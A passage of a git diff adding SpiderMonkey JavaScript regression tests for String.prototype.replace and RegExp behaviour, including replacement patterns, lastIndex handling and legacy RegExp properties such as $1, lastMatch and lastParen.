+ "undefined".replace(undefined, "ok"),
+ "Section 8"
+);
+
+reportCompare(
+ "ok",
+ "null".replace(null, "ok"),
+ "Section 9"
+);
+
+reportCompare(
+ "ok",
+ "123".replace(123, "ok"),
+ "Section 10"
+);
+
+reportCompare(
+ "xzyxyz",
+ "xyzxyz".replace("yz", "zy"),
+ "Section 11"
+);
+
+reportCompare(
+ "ok",
+ "(xyz)".replace("(xyz)", "ok"),
+ "Section 12"
+);
+
+reportCompare(
+ "*$&yzxyz",
+ "xyzxyz".replace("x", "*$$&"),
+ "Section 13"
+);
+
+reportCompare(
+ "xy*z*",
+ "xyz".replace("z", "*$&*"),
+ "Section 14"
+);
+
+reportCompare(
+ "xyxyzxyz",
+ "xyzxyzxyz".replace("zxy", "$`"),
+ "Section 15"
+);
+
+reportCompare(
+ "zxyzxyzzxyz",
+ "xyzxyz".replace("xy", "$'xyz"),
+ "Section 16"
+);
+
+reportCompare(
+ "$",
+ "xyzxyz".replace("xyzxyz", "$"),
+ "Section 17"
+);
+
+reportCompare(
+ "x$0$00xyz",
+ "xyzxyz".replace("yz", "$0$00"),
+ "Section 18"
+);
+
+// Result for $1/$01 .. $99 is implementation-defined if searchValue is no
+// regular expression. $+ is a non-standard Mozilla extension.
+
+reportCompare(
+ "$!$\"$-1$*$#$.$xyz$$",
+ "xyzxyz$$".replace("xyz", "$!$\"$-1$*$#$.$"),
+ "Section 19"
+);
+
+reportCompare(
+ "$$$&$$$&$&",
+ "$$$&".replace("$$", "$$$$$$&$&$$&"),
+ "Section 20"
+);
+
+reportCompare(
+ "yxx",
+ "xxx".replace(/x/, "y"),
+ "Section 21"
+);
+
+reportCompare(
+ "yyy",
+ "xxx".replace(/x/g, "y"),
+ "Section 22"
+);
+
+rex = /x/, rex.lastIndex = 1;
+reportCompare(
+ "yxx1",
+ "xxx".replace(rex, "y") + rex.lastIndex,
+ "Section 23"
+);
+
+rex = /x/g, rex.lastIndex = 1;
+reportCompare(
+ "yyy0",
+ "xxx".replace(rex, "y") + rex.lastIndex,
+ "Section 24"
+);
+
+rex = /y/, rex.lastIndex = 1;
+reportCompare(
+ "xxx1",
+ "xxx".replace(rex, "y") + rex.lastIndex,
+ "Section 25"
+);
+
+rex = /y/g, rex.lastIndex = 1;
+reportCompare(
+ "xxx0",
+ "xxx".replace(rex, "y") + rex.lastIndex,
+ "Section 26"
+);
+
+rex = /x?/, rex.lastIndex = 1;
+reportCompare(
+ "(x)xx1",
+ "xxx".replace(rex, "($&)") + rex.lastIndex,
+ "Section 27"
+);
+
+rex = /x?/g, rex.lastIndex = 1;
+reportCompare(
+ "(x)(x)(x)()0",
+ "xxx".replace(rex, "($&)") + rex.lastIndex,
+ "Section 28"
+);
+
+rex = /y?/, rex.lastIndex = 1;
+reportCompare(
+ "()xxx1",
+ "xxx".replace(rex, "($&)") + rex.lastIndex,
+ "Section 29"
+);
+
+rex = /y?/g, rex.lastIndex = 1;
+reportCompare(
+ "()x()x()x()0",
+ "xxx".replace(rex, "($&)") + rex.lastIndex,
+ "Section 30"
+);
+
+reportCompare(
+ "xy$0xy$zxy$zxyz$zxyz",
+ "xyzxyzxyz".replace(/zxy/, "$0$`$$$&$$$'$"),
+ "Section 31"
+);
+
+reportCompare(
+ "xy$0xy$zxy$zxyz$$0xyzxy$zxy$z$z",
+ "xyzxyzxyz".replace(/zxy/g, "$0$`$$$&$$$'$"),
+ "Section 32"
+);
+
+reportCompare(
+ "xyxyxyzxyxyxyz",
+ "xyzxyz".replace(/(((x)(y)()()))()()()(z)/g, "$01$2$3$04$5$6$7$8$09$10"),
+ "Section 33"
+);
+
+rex = RegExp(
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()(y)");
+reportCompare(
+ "x(y)z",
+ "xyz".replace(rex, "($99)"),
+ "Section 34"
+);
+
+rex = RegExp(
+ "()()()()()()()()()(x)" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()(y)");
+reportCompare(
+ "(x0)z",
+ "xyz".replace(rex, "($100)"),
+ "Section 35"
+);
+
+reportCompare(
+ "xyz(XYZ)",
+ "xyzXYZ".replace(/XYZ/g, "($&)"),
+ "Section 36"
+);
+
+reportCompare(
+ "(xyz)(XYZ)",
+ "xyzXYZ".replace(/xYz/gi, "($&)"),
+ "Section 37"
+);
+
+reportCompare(
+ "xyz\rxyz\n",
+ "xyz\rxyz\n".replace(/xyz$/g, "($&)"),
+ "Section 38"
+);
+
+reportCompare(
+ "(xyz)\r(xyz)\n",
+ "xyz\rxyz\n".replace(/xyz$/gm, "($&)"),
+ "Section 39"
+);
+
+f = function () { return "failure" };
+
+reportCompare(
+ "ok",
+ "ok".replace("x", f),
+ "Section 40"
+);
+
+reportCompare(
+ "ok",
+ "ok".replace(/(?=k)ok/, f),
+ "Section 41"
+);
+
+reportCompare(
+ "ok",
+ "ok".replace(/(?!)ok/, f),
+ "Section 42"
+);
+
+reportCompare(
+ "ok",
+ "ok".replace(/ok(?!$)/, f),
+ "Section 43"
+);
+
+f = function (sub, offs, str) {
+ return ["", sub, typeof sub, offs, typeof offs, str, typeof str, ""]
+ .join("|");
+};
+
+reportCompare(
+ "x|y|string|1|number|xyz|string|z",
+ "xyz".replace("y", f),
+ "Section 44"
+);
+
+reportCompare(
+ "x|(y)|string|1|number|x(y)z|string|z",
+ "x(y)z".replace("(y)", f),
+ "Section 45"
+);
+
+reportCompare(
+ "x|y*|string|1|number|xy*z|string|z",
+ "xy*z".replace("y*", f),
+ "Section 46"
+);
+
+reportCompare(
+ "12|3|string|2|number|12345|string|45",
+ String.prototype.replace.call(1.2345e4, 3, f),
+ "Section 47"
+);
+
+reportCompare(
+ "|x|string|0|number|xxx|string|xx",
+ "xxx".replace(/^x/g, f),
+ "Section 48"
+);
+
+reportCompare(
+ "xx|x|string|2|number|xxx|string|",
+ "xxx".replace(/x$/g, f),
+ "Section 49"
+);
+
+f = function (sub, paren, offs, str) {
+ return ["", sub, typeof sub, paren, typeof paren, offs, typeof offs,
+ str, typeof str, ""].join("|");
+};
+
+reportCompare(
+ "xy|z|string|z|string|2|number|xyz|string|",
+ "xyz".replace(/(z)/g, f),
+ "Section 50"
+);
+
+reportCompare(
+ "xyz||string||string|3|number|xyz|string|",
+ "xyz".replace(/($)/g, f),
+ "Section 51"
+);
+
+reportCompare(
+ "|xy|string|y|string|0|number|xyz|string|z",
+ "xyz".replace(/(?:x)(y)/g, f),
+ "Section 52"
+);
+
+reportCompare(
+ "|x|string|x|string|0|number|xyz|string|yz",
+ "xyz".replace(/((?=xy)x)/g, f),
+ "Section 53"
+);
+
+reportCompare(
+ "|x|string|x|string|0|number|xyz|string|yz",
+ "xyz".replace(/(x(?=y))/g, f),
+ "Section 54"
+);
+
+reportCompare(
+ "x|y|string|y|string|1|number|xyz|string|z",
+ "xyz".replace(/((?!x)y)/g, f),
+ "Section 55"
+);
+
+reportCompare(
+ "|x|string|x|string|0|number|xyz|string|" +
+ "|y|string||undefined|1|number|xyz|string|z",
+ "xyz".replace(/y|(x)/g, f),
+ "Section 56"
+);
+
+reportCompare(
+ "xy|z|string||string|2|number|xyz|string|",
+ "xyz".replace(/(z?)z/, f),
+ "Section 57"
+);
+
+reportCompare(
+ "xy|z|string||undefined|2|number|xyz|string|",
+ "xyz".replace(/(z)?z/, f),
+ "Section 58"
+);
+
+reportCompare(
+ "xy|z|string||undefined|2|number|xyz|string|",
+ "xyz".replace(/(z)?\1z/, f),
+ "Section 59"
+);
+
+reportCompare(
+ "xy|z|string||undefined|2|number|xyz|string|",
+ "xyz".replace(/\1(z)?z/, f),
+ "Section 60"
+);
+
+reportCompare(
+ "xy|z|string||string|2|number|xyz|string|",
+ "xyz".replace(/(z?\1)z/, f),
+ "Section 61"
+);
+
+f = function (sub, paren1, paren2, offs, str) {
+ return ["", sub, typeof sub, paren1, typeof paren1, paren2, typeof paren2,
+ offs, typeof offs, str, typeof str, ""].join("|");
+};
+
+reportCompare(
+ "x|y|string|y|string||undefined|1|number|xyz|string|z",
+ "xyz".replace(/(y)(\1)?/, f),
+ "Section 62"
+);
+
+reportCompare(
+ "x|yy|string|y|string|y|string|1|number|xyyz|string|z",
+ "xyyz".replace(/(y)(\1)?/g, f),
+ "Section 63"
+);
+
+reportCompare(
+ "x|y|string|y|string||undefined|1|number|xyyz|string|" +
+ "|y|string|y|string||undefined|2|number|xyyz|string|z",
+ "xyyz".replace(/(y)(\1)??/g, f),
+ "Section 64"
+);
+
+reportCompare(
+ "x|y|string|y|string|y|string|1|number|xyz|string|z",
+ "xyz".replace(/(?=(y))(\1)?/, f),
+ "Section 65"
+);
+
+reportCompare(
+ "xyy|z|string||undefined||string|3|number|xyyz|string|",
+ "xyyz".replace(/(?!(y)y)(\1)z/, f),
+ "Section 66"
+);
+
+rex = RegExp(
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()(z)?(y)");
+a = ["sub"];
+for (i = 1; i <= 102; ++i)
+ a[i] = "p" + i;
+a[103] = "offs";
+a[104] = "str";
+a[105] = "return ['', sub, typeof sub, offs, typeof offs, str, typeof str, " +
+ "p100, typeof p100, p101, typeof p101, p102, typeof p102, ''].join('|');";
+f = Function.apply(null, a);
+reportCompare(
+ "x|y|string|1|number|xyz|string||string||undefined|y|string|z",
+ "xyz".replace(rex, f),
+ "Section 67"
+);
+
+reportCompare(
+ "undefined",
+ "".replace(/.*/g, function () {}),
+ "Section 68"
+);
+
+reportCompare(
+ "nullxnullynullznull",
+ "xyz".replace(/.??/g, function () { return null; }),
+ "Section 69"
+);
+
+reportCompare(
+ "111",
+ "xyz".replace(/./g, function () { return 1; }),
+ "Section 70"
+);
diff --git a/js/src/tests/non262/RegExp/7.8.5-01.js b/js/src/tests/non262/RegExp/7.8.5-01.js
new file mode 100644
index 0000000000..be09bbc142
--- /dev/null
+++ b/js/src/tests/non262/RegExp/7.8.5-01.js
@@ -0,0 +1,35 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 615070;
+var summary = "Line terminator after backslash is invalid in regexp literals";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var regexps = ["/\\\u000A/", "/\\\u000D/", "/\\\u2028/", "/\\\u2029/",
+ "/ab\\\n/", "/ab\\\r/", "/ab\\\u2028/", "/ab\\\u2029/",
+ "/ab[c\\\n]/", "/a[bc\\", "/\\"];
+
+for(var i=0; i<regexps.length; i++) {
+ var src = regexps[i];
+ try {
+ x = eval(src).source;
+ } catch(e) {
+ assertEq(e.constructor, SyntaxError);
+ continue;
+ }
+ assertEq(0, 1);
+}
+
+/**************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/RegExp/RegExpExec-exec-type-check.js b/js/src/tests/non262/RegExp/RegExpExec-exec-type-check.js
new file mode 100644
index 0000000000..6d0eba40ec
--- /dev/null
+++ b/js/src/tests/non262/RegExp/RegExpExec-exec-type-check.js
@@ -0,0 +1,12 @@
+// Bug 1667094.
+
+var obj = {
+ exec() {
+ return function(){};
+ }
+};
+
+assertEq(RegExp.prototype.test.call(obj, ""), true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/RegExpExec-exec.js b/js/src/tests/non262/RegExp/RegExpExec-exec.js
new file mode 100644
index 0000000000..e92792fcf4
--- /dev/null
+++ b/js/src/tests/non262/RegExp/RegExpExec-exec.js
@@ -0,0 +1,18 @@
+var BUGNUMBER = 887016;
+var summary = "RegExpExec should throw if exec property of non-RegExp is not callable";
+
+print(BUGNUMBER + ": " + summary);
+
+for (var exec of [null, 0, false, undefined, ""]) {
+ // RegExp with non-callable exec
+ var re = /a/;
+ re.exec = exec;
+ RegExp.prototype[Symbol.match].call(re, "foo");
+
+ // non-RegExp with non-callable exec
+ assertThrowsInstanceOf(() => RegExp.prototype[Symbol.match].call({ exec }, "foo"),
+ TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/RegExpExec-return.js b/js/src/tests/non262/RegExp/RegExpExec-return.js
new file mode 100644
index 0000000000..1148aac07f
--- /dev/null
+++ b/js/src/tests/non262/RegExp/RegExpExec-return.js
@@ -0,0 +1,31 @@
+var BUGNUMBER = 887016;
+var summary = "RegExpExec should throw if returned value is not an object nor null.";
+
+print(BUGNUMBER + ": " + summary);
+
+for (var ret of [null, {}, [], /a/]) {
+ assertEq(RegExp.prototype[Symbol.match].call({
+ get global() {
+ return false;
+ },
+ exec(S) {
+ return ret;
+ }
+ }, "foo"), ret);
+}
+
+for (ret of [undefined, 1, true, false, Symbol.iterator]) {
+ assertThrowsInstanceOf(() => {
+ RegExp.prototype[Symbol.match].call({
+ get global() {
+ return false;
+ },
+ exec(S) {
+ return ret;
+ }
+ }, "foo");
+ }, TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/RegExp/RegExp_dollar_number.js b/js/src/tests/non262/RegExp/RegExp_dollar_number.js
new file mode 100644
index 0000000000..52680a1870
--- /dev/null
+++ b/js/src/tests/non262/RegExp/RegExp_dollar_number.js
@@ -0,0 +1,76 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_dollar_number.js
+ Description: 'Tests RegExps $1, ..., $9 properties'
+
+ Author: Nick Lerissa
+ Date: March 12, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "What\'s new in JavaScript 1.2"';
+var TITLE = 'RegExp: $1, ..., $9';
+var BUGNUMBER="123802";
+
+printBugNumber(BUGNUMBER);
+writeHeaderToLog('Executing script: RegExp_dollar_number.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// 'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$1
+'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/);
+new TestCase ( "'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$1",
+ 'abcdefghi', RegExp.$1);
+
+// 'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$2
+new TestCase ( "'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$2",
+ 'bcdefgh', RegExp.$2);
+
+// 'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$3
+new TestCase ( "'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$3",
+ 'cdefg', RegExp.$3);
+
+// 'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$4
+new TestCase ( "'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$4",
+ 'def', RegExp.$4);
+
+// 'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$5
+new TestCase ( "'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$5",
+ 'e', RegExp.$5);
+
+// 'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$6
+new TestCase ( "'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$6",
+ '', RegExp.$6);
+
+var a_to_z = 'abcdefghijklmnopqrstuvwxyz';
+var regexp1 = /(a)b(c)d(e)f(g)h(i)j(k)l(m)n(o)p(q)r(s)t(u)v(w)x(y)z/
+ // 'abcdefghijklmnopqrstuvwxyz'.match(/(a)b(c)d(e)f(g)h(i)j(k)l(m)n(o)p(q)r(s)t(u)v(w)x(y)z/); RegExp.$1
+ a_to_z.match(regexp1);
+
+new TestCase ( "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$1",
+ 'a', RegExp.$1);
+new TestCase ( "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$2",
+ 'c', RegExp.$2);
+new TestCase ( "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$3",
+ 'e', RegExp.$3);
+new TestCase ( "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$4",
+ 'g', RegExp.$4);
+new TestCase ( "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$5",
+ 'i', RegExp.$5);
+new TestCase ( "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$6",
+ 'k', RegExp.$6);
+new TestCase ( "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$7",
+ 'm', RegExp.$7);
+new TestCase ( "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$8",
+ 'o', RegExp.$8);
+new TestCase ( "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$9",
+ 'q', RegExp.$9);
+/*
+ new TestCase ( "'" + a_to_z + "'.match((a)b(c)....(y)z); RegExp.$10",
+ 's', RegExp.$10);
+*/
+test();
diff --git a/js/src/tests/non262/RegExp/RegExp_lastMatch.js b/js/src/tests/non262/RegExp/RegExp_lastMatch.js
new file mode 100644
index 0000000000..b3a02bd4d4
--- /dev/null
+++ b/js/src/tests/non262/RegExp/RegExp_lastMatch.js
@@ -0,0 +1,52 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_lastMatch.js
+ Description: 'Tests RegExps lastMatch property'
+
+ Author: Nick Lerissa
+ Date: March 12, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var TITLE = 'RegExp: lastMatch';
+
+writeHeaderToLog('Executing script: RegExp_lastMatch.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// 'foo'.match(/foo/); RegExp.lastMatch
+'foo'.match(/foo/);
+new TestCase ( "'foo'.match(/foo/); RegExp.lastMatch",
+ 'foo', RegExp.lastMatch);
+
+// 'foo'.match(new RegExp('foo')); RegExp.lastMatch
+'foo'.match(new RegExp('foo'));
+new TestCase ( "'foo'.match(new RegExp('foo')); RegExp.lastMatch",
+ 'foo', RegExp.lastMatch);
+
+// 'xxx'.match(/bar/); RegExp.lastMatch
+'xxx'.match(/bar/);
+new TestCase ( "'xxx'.match(/bar/); RegExp.lastMatch",
+ 'foo', RegExp.lastMatch);
+
+// 'xxx'.match(/$/); RegExp.lastMatch
+'xxx'.match(/$/);
+new TestCase ( "'xxx'.match(/$/); RegExp.lastMatch",
+ '', RegExp.lastMatch);
+
+// 'abcdefg'.match(/^..(cd)[a-z]+/); RegExp.lastMatch
+'abcdefg'.match(/^..(cd)[a-z]+/);
+new TestCase ( "'abcdefg'.match(/^..(cd)[a-z]+/); RegExp.lastMatch",
+ 'abcdefg', RegExp.lastMatch);
+
+// 'abcdefgabcdefg'.match(/(a(b(c(d)e)f)g)\1/); RegExp.lastMatch
+'abcdefgabcdefg'.match(/(a(b(c(d)e)f)g)\1/);
+new TestCase ( "'abcdefgabcdefg'.match(/(a(b(c(d)e)f)g)\\1/); RegExp.lastMatch",
+ 'abcdefgabcdefg', RegExp.lastMatch);
+
+test();
diff --git a/js/src/tests/non262/RegExp/RegExp_lastMatch_as_array.js b/js/src/tests/non262/RegExp/RegExp_lastMatch_as_array.js
new file mode 100644
index 0000000000..7356bd0464
--- /dev/null
+++ b/js/src/tests/non262/RegExp/RegExp_lastMatch_as_array.js
@@ -0,0 +1,52 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_lastMatch_as_array.js
+ Description: 'Tests RegExps $& property (same tests as RegExp_lastMatch.js but using $&)'
+
+ Author: Nick Lerissa
+ Date: March 13, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var TITLE = 'RegExp: $&';
+
+writeHeaderToLog('Executing script: RegExp_lastMatch_as_array.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// 'foo'.match(/foo/); RegExp['$&']
+'foo'.match(/foo/);
+new TestCase ( "'foo'.match(/foo/); RegExp['$&']",
+ 'foo', RegExp['$&']);
+
+// 'foo'.match(new RegExp('foo')); RegExp['$&']
+'foo'.match(new RegExp('foo'));
+new TestCase ( "'foo'.match(new RegExp('foo')); RegExp['$&']",
+ 'foo', RegExp['$&']);
+
+// 'xxx'.match(/bar/); RegExp['$&']
+'xxx'.match(/bar/);
+new TestCase ( "'xxx'.match(/bar/); RegExp['$&']",
+ 'foo', RegExp['$&']);
+
+// 'xxx'.match(/$/); RegExp['$&']
+'xxx'.match(/$/);
+new TestCase ( "'xxx'.match(/$/); RegExp['$&']",
+ '', RegExp['$&']);
+
+// 'abcdefg'.match(/^..(cd)[a-z]+/); RegExp['$&']
+'abcdefg'.match(/^..(cd)[a-z]+/);
+new TestCase ( "'abcdefg'.match(/^..(cd)[a-z]+/); RegExp['$&']",
+ 'abcdefg', RegExp['$&']);
+
+// 'abcdefgabcdefg'.match(/(a(b(c(d)e)f)g)\1/); RegExp['$&']
+'abcdefgabcdefg'.match(/(a(b(c(d)e)f)g)\1/);
+new TestCase ( "'abcdefgabcdefg'.match(/(a(b(c(d)e)f)g)\\1/); RegExp['$&']",
+ 'abcdefgabcdefg', RegExp['$&']);
+
+test();
diff --git a/js/src/tests/non262/RegExp/RegExp_lastParen.js b/js/src/tests/non262/RegExp/RegExp_lastParen.js
new file mode 100644
index 0000000000..06f9d6c524
--- /dev/null
+++ b/js/src/tests/non262/RegExp/RegExp_lastParen.js
@@ -0,0 +1,66 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_lastParen.js
+ Description: 'Tests RegExps lastParen property'
+
+ Author: Nick Lerissa
+ Date: March 12, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var TITLE = 'RegExp: lastParen';
+
+writeHeaderToLog('Executing script: RegExp_lastParen.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// 'abcd'.match(/(abc)d/); RegExp.lastParen
+'abcd'.match(/(abc)d/);
+new TestCase ( "'abcd'.match(/(abc)d/); RegExp.lastParen",
+ 'abc', RegExp.lastParen);
+
+// 'abcd'.match(new RegExp('(abc)d')); RegExp.lastParen
+'abcd'.match(new RegExp('(abc)d'));
+new TestCase ( "'abcd'.match(new RegExp('(abc)d')); RegExp.lastParen",
+ 'abc', RegExp.lastParen);
+
+// 'abcd'.match(/(bcd)e/); RegExp.lastParen
+'abcd'.match(/(bcd)e/);
+new TestCase ( "'abcd'.match(/(bcd)e/); RegExp.lastParen",
+ 'abc', RegExp.lastParen);
+
+// 'abcdefg'.match(/(a(b(c(d)e)f)g)/); RegExp.lastParen
+'abcdefg'.match(/(a(b(c(d)e)f)g)/);
+new TestCase ( "'abcdefg'.match(/(a(b(c(d)e)f)g)/); RegExp.lastParen",
+ 'd', RegExp.lastParen);
+
+// 'abcdefg'.match(/(a(b)c)(d(e)f)/); RegExp.lastParen
+'abcdefg'.match(/(a(b)c)(d(e)f)/);
+new TestCase ( "'abcdefg'.match(/(a(b)c)(d(e)f)/); RegExp.lastParen",
+ 'e', RegExp.lastParen);
+
+// 'abcdefg'.match(/(^)abc/); RegExp.lastParen
+'abcdefg'.match(/(^)abc/);
+new TestCase ( "'abcdefg'.match(/(^)abc/); RegExp.lastParen",
+ '', RegExp.lastParen);
+
+// 'abcdefg'.match(/(^a)bc/); RegExp.lastParen
+'abcdefg'.match(/(^a)bc/);
+new TestCase ( "'abcdefg'.match(/(^a)bc/); RegExp.lastParen",
+ 'a', RegExp.lastParen);
+
+// 'abcdefg'.match(new RegExp('(^a)bc')); RegExp.lastParen
+'abcdefg'.match(new RegExp('(^a)bc'));
+new TestCase ( "'abcdefg'.match(new RegExp('(^a)bc')); RegExp.lastParen",
+ 'a', RegExp.lastParen);
+
+// 'abcdefg'.match(/bc/); RegExp.lastParen
+'abcdefg'.match(/bc/);
+new TestCase ( "'abcdefg'.match(/bc/); RegExp.lastParen",
+ '', RegExp.lastParen);
+
+test();
diff --git a/js/src/tests/non262/RegExp/RegExp_lastParen_as_array.js b/js/src/tests/non262/RegExp/RegExp_lastParen_as_array.js
new file mode 100644
index 0000000000..4a5663ab67
--- /dev/null
+++ b/js/src/tests/non262/RegExp/RegExp_lastParen_as_array.js
@@ -0,0 +1,66 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_lastParen_as_array.js
+ Description: 'Tests RegExps $+ property (same tests as RegExp_lastParen.js but using $+)'
+
+ Author: Nick Lerissa
+ Date: March 13, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var TITLE = 'RegExp: $+';
+
+writeHeaderToLog('Executing script: RegExp_lastParen_as_array.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// 'abcd'.match(/(abc)d/); RegExp['$+']
+'abcd'.match(/(abc)d/);
+new TestCase ( "'abcd'.match(/(abc)d/); RegExp['$+']",
+ 'abc', RegExp['$+']);
+
+// 'abcd'.match(/(bcd)e/); RegExp['$+']
+'abcd'.match(/(bcd)e/);
+new TestCase ( "'abcd'.match(/(bcd)e/); RegExp['$+']",
+ 'abc', RegExp['$+']);
+
+// 'abcdefg'.match(/(a(b(c(d)e)f)g)/); RegExp['$+']
+'abcdefg'.match(/(a(b(c(d)e)f)g)/);
+new TestCase ( "'abcdefg'.match(/(a(b(c(d)e)f)g)/); RegExp['$+']",
+ 'd', RegExp['$+']);
+
+// 'abcdefg'.match(new RegExp('(a(b(c(d)e)f)g)')); RegExp['$+']
+'abcdefg'.match(new RegExp('(a(b(c(d)e)f)g)'));
+new TestCase ( "'abcdefg'.match(new RegExp('(a(b(c(d)e)f)g)')); RegExp['$+']",
+ 'd', RegExp['$+']);
+
+// 'abcdefg'.match(/(a(b)c)(d(e)f)/); RegExp['$+']
+'abcdefg'.match(/(a(b)c)(d(e)f)/);
+new TestCase ( "'abcdefg'.match(/(a(b)c)(d(e)f)/); RegExp['$+']",
+ 'e', RegExp['$+']);
+
+// 'abcdefg'.match(/(^)abc/); RegExp['$+']
+'abcdefg'.match(/(^)abc/);
+new TestCase ( "'abcdefg'.match(/(^)abc/); RegExp['$+']",
+ '', RegExp['$+']);
+
+// 'abcdefg'.match(/(^a)bc/); RegExp['$+']
+'abcdefg'.match(/(^a)bc/);
+new TestCase ( "'abcdefg'.match(/(^a)bc/); RegExp['$+']",
+ 'a', RegExp['$+']);
+
+// 'abcdefg'.match(new RegExp('(^a)bc')); RegExp['$+']
+'abcdefg'.match(new RegExp('(^a)bc'));
+new TestCase ( "'abcdefg'.match(new RegExp('(^a)bc')); RegExp['$+']",
+ 'a', RegExp['$+']);
+
+// 'abcdefg'.match(/bc/); RegExp['$+']
+'abcdefg'.match(/bc/);
+new TestCase ( "'abcdefg'.match(/bc/); RegExp['$+']",
+ '', RegExp['$+']);
+
+test();
diff --git a/js/src/tests/non262/RegExp/RegExp_leftContext.js b/js/src/tests/non262/RegExp/RegExp_leftContext.js
new file mode 100644
index 0000000000..616f0a3e00
--- /dev/null
+++ b/js/src/tests/non262/RegExp/RegExp_leftContext.js
@@ -0,0 +1,56 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_leftContext.js
+ Description: 'Tests RegExps leftContext property'
+
+ Author: Nick Lerissa
+ Date: March 12, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var TITLE = 'RegExp: leftContext';
+
+writeHeaderToLog('Executing script: RegExp_leftContext.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// 'abc123xyz'.match(/123/); RegExp.leftContext
+'abc123xyz'.match(/123/);
+new TestCase ( "'abc123xyz'.match(/123/); RegExp.leftContext",
+ 'abc', RegExp.leftContext);
+
+// 'abc123xyz'.match(/456/); RegExp.leftContext
